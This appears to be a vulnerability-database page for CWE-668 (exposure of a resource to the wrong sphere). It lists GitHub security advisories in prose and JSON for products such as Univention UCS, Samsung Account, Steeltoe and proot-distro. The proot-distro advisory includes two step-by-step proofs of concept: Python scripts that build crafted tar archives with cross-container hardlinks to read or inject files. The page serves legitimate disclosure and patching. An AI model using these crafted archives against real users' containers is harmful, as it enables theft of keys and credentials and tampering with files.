CWE-668
DiscouragedExposure of Resource to Wrong Sphere
Abstraction: Class · Status: Draft
The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource.
1276 vulnerabilities reference this CWE, most recent first.
GHSA-79JX-Q243-6WC7
Vulnerability from github – Published: 2023-10-31 12:30 – Updated: 2025-04-16 00:31An issue in Univention UCS v.5.0 allows a local attacker to execute arbitrary code and gain privileges via the check_univention_joinstatus function.
{
"affected": [],
"aliases": [
"CVE-2023-38994"
],
"database_specific": {
"cwe_ids": [
"CWE-668"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-31T12:15:08Z",
"severity": "HIGH"
},
"details": "An issue in Univention UCS v.5.0 allows a local attacker to execute arbitrary code and gain privileges via the check_univention_joinstatus function.",
"id": "GHSA-79jx-q243-6wc7",
"modified": "2025-04-16T00:31:29Z",
"published": "2023-10-31T12:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-38994"
},
{
"type": "WEB",
"url": "https://forge.univention.org/bugzilla/show_bug.cgi?id=56324"
},
{
"type": "WEB",
"url": "https://forge.univention.org/bugzilla/show_bug.cgi?id=56324#c0"
},
{
"type": "WEB",
"url": "https://raeph123.github.io/BlogPosts/Univention/Simple_yet_effective_The_story_of_some_simple_bugs_that_led_to_the_complete_compromise_of_a_network_en.html"
},
{
"type": "WEB",
"url": "https://www.drive-byte.de/en/blog/simple-yet-effective-the-story-of-some-simple-bugs-that-led-to-the-complete-compromise-of-a-network"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7CJ8-2M5J-CF56
Vulnerability from github – Published: 2023-11-13 18:30 – Updated: 2023-11-13 18:30Use of implicit intent for sensitive communication vulnerability in startEmailValidationActivity in Samsung Account prior to version 14.5.00.7 allows attackers to access arbitrary file with Samsung Account privilege.
{
"affected": [],
"aliases": [
"CVE-2023-42547"
],
"database_specific": {
"cwe_ids": [
"CWE-668"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-07T08:15:21Z",
"severity": "MODERATE"
},
"details": "Use of implicit intent for sensitive communication vulnerability in startEmailValidationActivity in Samsung Account prior to version 14.5.00.7 allows attackers to access arbitrary file with Samsung Account privilege.",
"id": "GHSA-7cj8-2m5j-cf56",
"modified": "2023-11-13T18:30:59Z",
"published": "2023-11-13T18:30:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-42547"
},
{
"type": "WEB",
"url": "https://security.samsungmobile.com/serviceWeb.smsb?year=2023\u0026month=11"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7CWM-FPFH-RRCH
Vulnerability from github – Published: 2026-05-29 18:22 – Updated: 2026-05-29 18:22Impact
The Ironic Standalone Operator (IRSO) is the operator to maintain an Ironic deployment for Metal3. The Prometheus metrics exporter binds to 0.0.0.0 (all network interfaces) by default with no authentication. The default config is disabled. If enabled, this exposes operational metrics to any host on adjacent networks. Deployments running IrSO v0.7.0 through v0.8.1 with the Prometheus exporter enabled are affected. Versions prior to v0.7.0 do not have the Prometheus exporter feature.
Patches
The exporter now exposes a configurable bindAddress field. Users should upgrade to v0.9.0 or later.
Workarounds
Users on older versions than v0.9.0 should use host-level firewall rules (iptables/nftables) to restrict access to the metrics port from unintended networks, or disable the metrics service.
Resources
- https://github.com/metal3-io/ironic-standalone-operator/pull/635
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/metal3-io/ironic-standalone-operator"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-668"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-29T18:22:24Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Impact\n\nThe Ironic Standalone Operator (IRSO) is the operator to maintain an Ironic deployment for Metal3. The Prometheus metrics exporter binds to 0.0.0.0 (all network interfaces) by default with no authentication. The default config is disabled. If enabled, this exposes operational metrics to any host on adjacent networks. Deployments running IrSO v0.7.0 through v0.8.1 with the Prometheus exporter enabled are affected. Versions prior to v0.7.0 do not have the Prometheus exporter feature.\n\n## Patches\n\nThe exporter now exposes a configurable bindAddress field. Users should upgrade to v0.9.0 or later. \n\n## Workarounds\n\nUsers on older versions than v0.9.0 should use host-level firewall rules (iptables/nftables) to restrict access to the metrics port from unintended networks, or disable the metrics service.\n\n## Resources\n\n- https://github.com/metal3-io/ironic-standalone-operator/pull/635",
"id": "GHSA-7cwm-fpfh-rrch",
"modified": "2026-05-29T18:22:24Z",
"published": "2026-05-29T18:22:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/metal3-io/ironic-standalone-operator/security/advisories/GHSA-7cwm-fpfh-rrch"
},
{
"type": "WEB",
"url": "https://github.com/metal3-io/ironic-standalone-operator/pull/635"
},
{
"type": "PACKAGE",
"url": "https://github.com/metal3-io/ironic-standalone-operator"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Ironic Standalone Operator\u0027s prometheus metrics exporter bound to all interfaces"
}
GHSA-7FFC-HWFP-9XHQ
Vulnerability from github – Published: 2021-12-04 00:00 – Updated: 2022-10-29 12:00** UNSUPPORTED WHEN ASSIGNED ** ThinkUp 2.0-beta.10 is affected by a path manipulation vulnerability in Smarty.class.php.
{
"affected": [],
"aliases": [
"CVE-2021-43674"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-668"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-03T13:15:00Z",
"severity": "CRITICAL"
},
"details": "** UNSUPPORTED WHEN ASSIGNED ** ThinkUp 2.0-beta.10 is affected by a path manipulation vulnerability in Smarty.class.php.",
"id": "GHSA-7ffc-hwfp-9xhq",
"modified": "2022-10-29T12:00:31Z",
"published": "2021-12-04T00:00:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-43674"
},
{
"type": "WEB",
"url": "https://github.com/ThinkUpLLC/ThinkUp/issues/2289"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7FH7-J5Q5-PV63
Vulnerability from github – Published: 2022-06-08 00:00 – Updated: 2022-06-12 00:00Sensitive information exposure in low-battery dumpstate log prior to SMR Jun-2022 Release 1 allows local attackers to get SIM card information.
{
"affected": [],
"aliases": [
"CVE-2022-28794"
],
"database_specific": {
"cwe_ids": [
"CWE-668"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-06-07T18:15:00Z",
"severity": "LOW"
},
"details": "Sensitive information exposure in low-battery dumpstate log prior to SMR Jun-2022 Release 1 allows local attackers to get SIM card information.",
"id": "GHSA-7fh7-j5q5-pv63",
"modified": "2022-06-12T00:00:47Z",
"published": "2022-06-08T00:00:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-28794"
},
{
"type": "WEB",
"url": "https://security.samsungmobile.com/securityUpdate.smsb?year=2022\u0026month=6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7FQC-P256-7PWJ
Vulnerability from github – Published: 2026-07-02 20:31 – Updated: 2026-07-02 20:31Summary
The JWT signing key cache in TokenKeyResolver uses kid as the sole cache key without namespacing by authority. In applications with multiple JwtBearer schemes pointing to different identity providers, a key fetched for one scheme can satisfy token validation for another. Additionally, cached keys have no expiration, so rotated or revoked keys remain trusted until the application process restarts.
Impact
In multi-scheme deployments, an attacker who controls one identity provider's signing key can forge tokens accepted by other schemes within the same application. For all applications using TokenKeyResolver, a signing key removed from the identity provider's JWKS endpoint remains trusted indefinitely.
Mitigations
If an immediate upgrade is not possible:
- In multi-scheme deployments, configure only one
JwtBearerscheme per application when different identity providers are required. - Restart the application process after an identity provider signing key rotation to clear stale cached keys.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.0"
},
"package": {
"ecosystem": "NuGet",
"name": "Steeltoe.Security.Authentication.JwtBearer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.2.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.0"
},
"package": {
"ecosystem": "NuGet",
"name": "Steeltoe.Security.Authentication.OpenIdConnect"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.2.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.3.0"
},
"package": {
"ecosystem": "NuGet",
"name": "Steeltoe.Security.Authentication.CloudFoundryBase"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50202"
],
"database_specific": {
"cwe_ids": [
"CWE-668"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-02T20:31:47Z",
"nvd_published_at": "2026-06-17T23:17:04Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe JWT signing key cache in `TokenKeyResolver` uses `kid` as the sole cache key without namespacing by authority. In applications with multiple `JwtBearer` schemes pointing to different identity providers, a key fetched for one scheme can satisfy token validation for another. Additionally, cached keys have no expiration, so rotated or revoked keys remain trusted until the application process restarts.\n\n### Impact\n\nIn multi-scheme deployments, an attacker who controls one identity provider\u0027s signing key can forge tokens accepted by other schemes within the same application. For all applications using `TokenKeyResolver`, a signing key removed from the identity provider\u0027s JWKS endpoint remains trusted indefinitely.\n\n### Mitigations\n\nIf an immediate upgrade is not possible:\n\n- In multi-scheme deployments, configure only one `JwtBearer` scheme per application when different identity providers are required.\n- Restart the application process after an identity provider signing key rotation to clear stale cached keys.",
"id": "GHSA-7fqc-p256-7pwj",
"modified": "2026-07-02T20:31:47Z",
"published": "2026-07-02T20:31:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SteeltoeOSS/security-advisories/security/advisories/GHSA-7fqc-p256-7pwj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50202"
},
{
"type": "WEB",
"url": "https://github.com/SteeltoeOSS/Steeltoe/commit/04db2ace3b806bfe0260bb7d4bda340f241eff48"
},
{
"type": "WEB",
"url": "https://github.com/SteeltoeOSS/Steeltoe/commit/17b27b8be546ae3f83a2f6e91d45e0c84c5314b7"
},
{
"type": "PACKAGE",
"url": "https://github.com/SteeltoeOSS/security-advisories"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Steeltoe\u0027s static JWKS cache shared across schemes and never invalidated"
}
GHSA-7H3G-4W2F-FJ2F
Vulnerability from github – Published: 2026-07-29 16:42 – Updated: 2026-07-29 16:42Affected Component
- Package: proot-distro
- Affected command:
restore - Attack surface: Host-side Termux CLI processing a user-supplied backup archive
- Vulnerability type: Container Isolation Bypass / Cross-Container Read and Write
Affected Versions
| Component | Version |
|---|---|
| proot-distro | 5.1.5 (confirmed affected) |
| Test distro | Alpine Linux |
| Architecture | aarch64 |
| Device | Samsung Galaxy A23 |
| Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64 |
Summary
When restoring a crafted backup archive, proot-distro restore accepts hardlink entries whose source path references a different installed container.
The restore logic resolves the hardlink source from the archive's linkname field and copies the referenced file into the container identified by the archive entry.
Although path traversal protections correctly keep the source path inside the proot-distro containers directory, no validation ensures that the hardlink source container matches the destination container.
As a result, a malicious backup archive can copy files between otherwise isolated containers, enabling both cross-container disclosure and cross-container file injection.
Proof of Concept #1 — Cross-Container File Disclosure
All testing was performed using self-owned containers and harmless marker data only.
Step 1 — Create a victim container and marker file
proot-distro install alpine --name victim
proot-distro login victim -- sh -lc '
mkdir -p /root
printf "PROOF-12345\n" > /root/proof.txt
'
Verification:
proot-distro login victim -- cat /root/proof.txt
PROOF-12345
Step 2 — Create an attacker container
proot-distro install alpine --name attacker
Step 3 — Build a crafted archive
python3 -c '
import tarfile
tf = tarfile.open("malicious.tar", "w")
d = tarfile.TarInfo("attacker/rootfs/exfil")
d.type = tarfile.DIRTYPE
d.mode = 0o755
tf.addfile(d)
h = tarfile.TarInfo("attacker/rootfs/exfil/stolen_key")
h.type = tarfile.LNKTYPE
h.linkname = "victim/rootfs/root/proof.txt"
h.mode = 0o600
tf.addfile(h)
tf.close()
'
Step 4 — Restore the crafted archive
proot-distro restore ./malicious.tar
Step 5 — Read the copied file from the attacker container
proot-distro run attacker -- cat /exfil/stolen_key
Observed output:
PROOF-12345
This demonstrates that data originating from the victim container was copied into the attacker container solely through a crafted restore archive.
Proof of Concept #2 — Cross-Container File Injection
Step 1 — Create attacker-controlled source data
proot-distro install alpine --name attacker
proot-distro login attacker -- sh -lc '
mkdir -p /root
printf "ATTACKER_DATA\n" > /root/source.txt
'
Step 2 — Create a victim container
proot-distro install alpine --name victim
Step 3 — Build a crafted archive
python3 -c '
import tarfile
tf = tarfile.open("write_test.tar", "w")
h = tarfile.TarInfo(
"victim/rootfs/root/copied_from_attacker.txt"
)
h.type = tarfile.LNKTYPE
h.linkname = "attacker/rootfs/root/source.txt"
h.mode = 0o600
tf.addfile(h)
tf.close()
'
Step 4 — Restore the crafted archive
proot-distro restore ./write_test.tar
Step 5 — Verify file injection into the victim container
cat "$PREFIX/var/lib/proot-distro/containers/victim/rootfs/root/copied_from_attacker.txt"
Observed output:
ATTACKER_DATA
This demonstrates that attacker-controlled data can be copied into a different installed container solely through a crafted restore archive.
Impact
An attacker who can convince a user to restore a crafted backup archive can bypass the expected isolation boundary between installed proot-distro containers.
Observed impacts include:
- Disclosure of files from other installed containers.
- Injection of attacker-controlled files into other installed containers.
- Exposure of SSH private keys.
- Exposure of API credentials.
- Exposure of configuration files containing secrets.
- Exposure of application databases stored inside container rootfs directories.
The issue does not escape the proot-distro containers directory but allows archive-controlled movement of data across otherwise isolated containers.
Root Cause
During hardlink processing, the restore implementation resolves the source container from the archive's linkname field.
The resolved path is validated to remain inside a container directory, but the implementation does not verify that the hardlink source container is the same container currently being restored.
As a result, archive-controlled metadata determines which installed container is used as the source of the copy operation.
Proposed Fix
link_container, link_src = _dest_path(member.linkname)
if link_src is None:
continue
if link_container != container_name:
continue
link_src = _safe_dest(
link_container,
link_src,
follow_final=True
)
This preserves existing path traversal protections while restoring the expected isolation boundary between containers.
Additional Notes
- Issue reproduced on the official Termux package repository.
- No root access was used.
- No third-party data was accessed.
- Testing used only self-owned containers and harmless marker data.
- Cross-container disclosure reproduced using the marker value
PROOF-12345. - Cross-container file injection reproduced using the marker value
ATTACKER_DATA.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.1.5"
},
"package": {
"ecosystem": "PyPI",
"name": "proot-distro"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.1.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54727"
],
"database_specific": {
"cwe_ids": [
"CWE-668"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-29T16:42:11Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Affected Component\n\n- **Package:** proot-distro\n- **Affected command:** `restore`\n- **Attack surface:** Host-side Termux CLI processing a user-supplied backup archive\n- **Vulnerability type:** Container Isolation Bypass / Cross-Container Read and Write\n\n---\n\n## Affected Versions\n\n| Component | Version |\n|---|---|\n| proot-distro | 5.1.5 (confirmed affected) |\n| Test distro | Alpine Linux |\n| Architecture | aarch64 |\n| Device | Samsung Galaxy A23 |\n| Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64 |\n\n---\n\n## Summary\n\nWhen restoring a crafted backup archive, `proot-distro restore` accepts hardlink entries whose source path references a different installed container.\n\nThe restore logic resolves the hardlink source from the archive\u0027s `linkname` field and copies the referenced file into the container identified by the archive entry.\n\nAlthough path traversal protections correctly keep the source path inside the proot-distro containers directory, no validation ensures that the hardlink source container matches the destination container.\n\nAs a result, a malicious backup archive can copy files between otherwise isolated containers, enabling both cross-container disclosure and cross-container file injection.\n\n---\n\n## Proof of Concept #1 \u2014 Cross-Container File Disclosure\n\nAll testing was performed using self-owned containers and harmless marker data only.\n\n### Step 1 \u2014 Create a victim container and marker file\n\n```bash\nproot-distro install alpine --name victim\n\nproot-distro login victim -- sh -lc \u0027\nmkdir -p /root\nprintf \"PROOF-12345\\n\" \u003e /root/proof.txt\n\u0027\n```\n\nVerification:\n\n```\nproot-distro login victim -- cat /root/proof.txt\n\nPROOF-12345\n```\n\n---\n\n### Step 2 \u2014 Create an attacker container\n\n```bash\nproot-distro install alpine --name attacker\n```\n\n---\n\n### Step 3 \u2014 Build a crafted archive\n\n```python\npython3 -c \u0027\nimport tarfile\n\ntf = tarfile.open(\"malicious.tar\", \"w\")\n\nd = tarfile.TarInfo(\"attacker/rootfs/exfil\")\nd.type = tarfile.DIRTYPE\nd.mode = 0o755\ntf.addfile(d)\n\nh = tarfile.TarInfo(\"attacker/rootfs/exfil/stolen_key\")\nh.type = tarfile.LNKTYPE\nh.linkname = \"victim/rootfs/root/proof.txt\"\nh.mode = 0o600\ntf.addfile(h)\n\ntf.close()\n\u0027\n```\n\n---\n\n### Step 4 \u2014 Restore the crafted archive\n\n```bash\nproot-distro restore ./malicious.tar\n```\n\n---\n\n### Step 5 \u2014 Read the copied file from the attacker container\n\n```bash\nproot-distro run attacker -- cat /exfil/stolen_key\n```\n\nObserved output:\n\n```\nPROOF-12345\n```\n\nThis demonstrates that data originating from the victim container was copied into the attacker container solely through a crafted restore archive.\n\n---\n\n## Proof of Concept #2 \u2014 Cross-Container File Injection\n\n### Step 1 \u2014 Create attacker-controlled source data\n\n```bash\nproot-distro install alpine --name attacker\n\nproot-distro login attacker -- sh -lc \u0027\nmkdir -p /root\nprintf \"ATTACKER_DATA\\n\" \u003e /root/source.txt\n\u0027\n```\n\n---\n\n### Step 2 \u2014 Create a victim container\n\n```bash\nproot-distro install alpine --name victim\n```\n\n---\n\n### Step 3 \u2014 Build a crafted archive\n\n```python\npython3 -c \u0027\nimport tarfile\n\ntf = tarfile.open(\"write_test.tar\", \"w\")\n\nh = tarfile.TarInfo(\n \"victim/rootfs/root/copied_from_attacker.txt\"\n)\n\nh.type = tarfile.LNKTYPE\nh.linkname = \"attacker/rootfs/root/source.txt\"\nh.mode = 0o600\n\ntf.addfile(h)\ntf.close()\n\u0027\n```\n\n---\n\n### Step 4 \u2014 Restore the crafted archive\n\n```bash\nproot-distro restore ./write_test.tar\n```\n\n---\n\n### Step 5 \u2014 Verify file injection into the victim container\n\n```bash\ncat \"$PREFIX/var/lib/proot-distro/containers/victim/rootfs/root/copied_from_attacker.txt\"\n```\n\nObserved output:\n\n```\nATTACKER_DATA\n```\n\nThis demonstrates that attacker-controlled data can be copied into a different installed container solely through a crafted restore archive.\n\n---\n\n## Impact\n\nAn attacker who can convince a user to restore a crafted backup archive can bypass the expected isolation boundary between installed proot-distro containers.\n\nObserved impacts include:\n\n- Disclosure of files from other installed containers.\n- Injection of attacker-controlled files into other installed containers.\n- Exposure of SSH private keys.\n- Exposure of API credentials.\n- Exposure of configuration files containing secrets.\n- Exposure of application databases stored inside container rootfs directories.\n\nThe issue does not escape the proot-distro containers directory but allows archive-controlled movement of data across otherwise isolated containers.\n\n---\n\n## Root Cause\n\nDuring hardlink processing, the restore implementation resolves the source container from the archive\u0027s `linkname` field.\n\nThe resolved path is validated to remain inside a container directory, but the implementation does not verify that the hardlink source container is the same container currently being restored.\n\nAs a result, archive-controlled metadata determines which installed container is used as the source of the copy operation.\n\n---\n\n## Proposed Fix\n\n```python\nlink_container, link_src = _dest_path(member.linkname)\n\nif link_src is None:\n continue\n\nif link_container != container_name:\n continue\n\nlink_src = _safe_dest(\n link_container,\n link_src,\n follow_final=True\n)\n```\n\nThis preserves existing path traversal protections while restoring the expected isolation boundary between containers.\n\n---\n\n## Additional Notes\n\n- Issue reproduced on the official Termux package repository.\n- No root access was used.\n- No third-party data was accessed.\n- Testing used only self-owned containers and harmless marker data.\n- Cross-container disclosure reproduced using the marker value `PROOF-12345`.\n- Cross-container file injection reproduced using the marker value `ATTACKER_DATA`.",
"id": "GHSA-7h3g-4w2f-fj2f",
"modified": "2026-07-29T16:42:11Z",
"published": "2026-07-29T16:42:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/termux/proot-distro/security/advisories/GHSA-7h3g-4w2f-fj2f"
},
{
"type": "WEB",
"url": "https://github.com/termux/proot-distro/commit/98aff324b7d8500ff75a8ca9ac087ee636be4716"
},
{
"type": "PACKAGE",
"url": "https://github.com/termux/proot-distro"
},
{
"type": "WEB",
"url": "https://github.com/termux/proot-distro/releases/tag/v5.1.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "proot-distro has a Container Isolation Bypass via Crafted Restore Archive"
}
GHSA-7H6W-3H2J-3P77
Vulnerability from github – Published: 2023-11-13 18:30 – Updated: 2023-11-13 18:30Use of implicit intent for sensitive communication vulnerability in startTncActivity in Samsung Account prior to version 14.5.00.7 allows attackers to access arbitrary file with Samsung Account privilege.
{
"affected": [],
"aliases": [
"CVE-2023-42551"
],
"database_specific": {
"cwe_ids": [
"CWE-668"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-07T08:15:22Z",
"severity": "MODERATE"
},
"details": "Use of implicit intent for sensitive communication vulnerability in startTncActivity in Samsung Account prior to version 14.5.00.7 allows attackers to access arbitrary file with Samsung Account privilege.",
"id": "GHSA-7h6w-3h2j-3p77",
"modified": "2023-11-13T18:30:59Z",
"published": "2023-11-13T18:30:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-42551"
},
{
"type": "WEB",
"url": "https://security.samsungmobile.com/serviceWeb.smsb?year=2023\u0026month=11"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7H78-RCQP-P8WH
Vulnerability from github – Published: 2022-05-13 01:32 – Updated: 2022-05-13 01:32IBM WebSphere Application Server 8.5 and 9.0 could allow a remote attacker to gain elevated privileges on the system, caused when a security domain is configured to use a federated repository other than global federated repository and then migrated to a newer release of WebSphere Application Server. IBM X-Force ID: 150813.
{
"affected": [],
"aliases": [
"CVE-2018-1840"
],
"database_specific": {
"cwe_ids": [
"CWE-668"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-12-03T15:29:00Z",
"severity": "HIGH"
},
"details": "IBM WebSphere Application Server 8.5 and 9.0 could allow a remote attacker to gain elevated privileges on the system, caused when a security domain is configured to use a federated repository other than global federated repository and then migrated to a newer release of WebSphere Application Server. IBM X-Force ID: 150813.",
"id": "GHSA-7h78-rcqp-p8wh",
"modified": "2022-05-13T01:32:35Z",
"published": "2022-05-13T01:32:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1840"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/150813"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/docview.wss?uid=ibm10735767"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/106141"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7H9M-CJQH-75C6
Vulnerability from github – Published: 2022-07-13 00:01 – Updated: 2022-07-17 00:00Improper access control vulnerability in sendDHCPACKBroadcast function of SemWifiApClient prior to SMR Jul-2022 Release 1 allows attacker to access wifi ap client mac address that connected by using WIFI_AP_STA_DHCPACK_EVENT action.
{
"affected": [],
"aliases": [
"CVE-2022-30751"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-668"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-12T14:15:00Z",
"severity": "LOW"
},
"details": "Improper access control vulnerability in sendDHCPACKBroadcast function of SemWifiApClient prior to SMR Jul-2022 Release 1 allows attacker to access wifi ap client mac address that connected by using WIFI_AP_STA_DHCPACK_EVENT action.",
"id": "GHSA-7h9m-cjqh-75c6",
"modified": "2022-07-17T00:00:45Z",
"published": "2022-07-13T00:01:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-30751"
},
{
"type": "WEB",
"url": "https://security.samsungmobile.com/securityUpdate.smsb?year=2022\u0026month=7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.